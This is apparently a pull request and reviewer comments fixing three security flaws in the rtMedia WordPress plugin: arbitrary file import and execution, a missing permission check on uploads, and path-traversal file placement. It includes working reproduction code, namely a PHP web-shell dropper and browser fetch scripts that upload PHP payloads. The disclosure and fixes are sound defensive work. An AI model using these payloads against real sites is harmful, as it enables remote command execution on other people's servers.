Fix multiple security issues.

[Utsav-Ladani]

Fix multiple security issues

Admin can place and execute any file via the Import Settings option. 🟧

Description

• Admin can send any file to the server anywhere.
• This way, the Admin can change the codebase by sending a few requests.
• These file is also executable by visiting a particular URL.

Steps to reproduce

• Login as an Admin.
• Create any bellow content to file and save with the extension .json.

   <?php file_put_contents(WP_CONTENT_DIR . '/shell.php', '<?php echo system($_GET["cmd"]);');

• Upload it from Import Settings from rtMedia > Settings > Import/Export section.
• Visit https:/whatever.your.url/wp-content/shell.php?cmd=ls.
• This runs any command passed into the URL cmd param.

Fixes

• Existing code prints the file into the current PHP script execution using the ob_start() function. Which executes the content in the file, no matter the extension.
• This PR removes and uses the json_decode and file_get_content functions to load the JSON data securely.

Anyone can upload a file, even a subscriber. 🟧

Description

• Anyone can upload media using rtmedia_api.
• There is a missing permission check.

Steps to reproduce

• Create a user with the name sub and password sub.
• Use the below code in your browser's console.

   fetch("http://rtmedia-core.local/wp-admin/admin-ajax.php?action=rtmedia_api", {
    "headers": {
    "content-type": "application/x-www-form-urlencoded",
    },
    "body": "method=wp_login&username=sub&password=sub",
    "method": "POST",
   }).then((response) => {
    return response.json();
   }).then((data) => {
    const formData = new FormData()
     
    let file = new File(['iVBORw0KGgoAAAANSUhEUgAA'], 'image.jpg');
     
    formData.append('rtmedia_file', file);
    formData.append('method', 'rtmedia_upload_media');
    formData.append('image_type', 'jpeg');
    formData.append('title', 'abc');
    formData.append('token', data.data.access_token);
   
    return fetch('http://rtmedia-core.local/wp-admin/admin-ajax.php?action=rtmedia_api', {
    method: 'POST',
    body: formData
    });
   })
     .then(res => res.json())
     .then(data => {console.log(data);})

• You can see that there is no restriction. Your request is successfully served.
• Don't forget to replace the URL with your server.

Any user can upload any file and place it anywhere 🟥

• Using the same above bug, the user can put some malicious file in some place and call it using a server.

Steps to reproduce

• Create a user with any type of role.
• Execute the below code in the browser's console.

   fetch("http://rtmedia-core.local/wp-admin/admin-ajax.php?action=rtmedia_api", {
    "headers": {
    "content-type": "application/x-www-form-urlencoded",
    },
    "body": "method=wp_login&username=sub&password=sub",
    "method": "POST",
   }).then((response) => {
    return response.json();
   }).then((data) => {
    const formData = new FormData()
    let file= btoa('<?php system("ps"); ?>');
     
    formData.append('rtmedia_file', file);
    formData.append('method', 'rtmedia_upload_media');
    formData.append('image_type', '../Users/utsav/Desktop');
    formData.append('title', '../');
    formData.append('token', data.data.access_token);
   
    return fetch('http://rtmedia-core.local/wp-admin/admin-ajax.php?action=rtmedia_api', {
    method: 'POST',
    body: formData
    });
   })
     .then(res => res.json())
     .then(data => {console.log(data);})

• Change the code if required as per your environment.

Fixes

• Verify the actual file data using PHP built-in function getimagesizefromstring.
• Compare the given and actual image types and if both are the same and present in the allowed image type, then only allowed.

[pavanpatil1]

Admin can place and execute any file via the Import Settings option

Verified the fix and it is working fine. The commands are not executing now.

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Any user can upload any file and place it anywhere

Verified the fix and it is working fine. The API is showing the permission denied message now.